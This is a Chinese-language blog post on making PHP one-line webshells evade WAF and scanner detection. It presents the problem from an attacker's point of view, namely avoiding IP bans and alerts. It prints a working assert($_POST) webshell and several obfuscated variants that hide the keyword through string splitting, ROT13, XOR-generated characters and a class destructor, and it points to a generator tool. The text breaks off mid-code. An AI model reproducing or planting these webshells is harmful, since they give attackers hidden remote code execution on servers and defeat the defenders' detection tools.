文章最后更新时间为:2019年07月05日 00:17:52
一句话木马叱咤江湖这么多年还是如此活跃,我个人理解是,方便,相比于二进制后门或者大马,一句话木马足够短,容易上传,并且有众多客户端,菜刀,Cknife,蚁剑,对于脚本小子来说,一句话木马大大降低了渗透的门槛。
但是一句话木马,已经不能适应现在的局势了,如今各大服务器纷纷装上了waf,一句话木马一旦被检测出来,一是会封ip,二是会发出报警信息,引起对方的警觉。
本文就来简单探讨一下php一句话木马的免杀,包括静态免杀和动态免杀。
1.静态免杀
php木马的静态免杀是很容易的,静态免杀基本是通过各种加密或者移位亦或等方式来隐藏关键词。下面以很常见的一句话木马举例:<?php @assert($_POST['x']);?>
1.1 隐藏关键字
waf检测到assert这个关键词,很大概率会被检测出来,那么我们可以尝试用别的词来生成,具体的生成方式有很多种,这里列举一下常见的几种方式,其实效果都差不多。拆解合并<?php
$ch = explode(".","hello.ass.world.er.t");
$c = $ch[1].$ch[3].$ch[4]; //assert
$c($_POST['x']);
?>
目前来说,这种方式已经很难奏效了。利用各种函数、编码
比如对套上一层ROT13编码$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
还有很多加解密方式,利用各种函数如array_map、array_key、preg_replace来隐藏关键字,这里就不多说了。随机亦或产生
这里可以参考 https://github.com/yzddmr6/webshell-venom,想法也很简单,就是利用了php的亦或来生成所需要的字母。比如
"Y"^"\x38"的结果就是a,同样的生成assert即可。$_StL="Y"^"\x38";
$_ENr="T"^"\x27";
$_ohw="^"^"\x2d";
$_gpN="~"^"\x1b";
$_fyR="g"^"\x15";
$_pAs="H"^"\x3c";
$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;
上面讲了三种隐藏关键字的方式,作用大同小异,个人来说较推荐随机亦或的方式,有脚本在,也方便许多。
1.2 将关键操作隐藏在各种类、函数中
其实主要的目的还是做混淆。比如下面这个一句话木马:<?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4]; //assert
@$c($_POST['x']);
?>
在用D盾进行扫描时,还是很容易被检测出来。
我们可以把他隐藏在类中:<?php
class Test{
public $config='';
function __destruct(){
$ch = explode(".","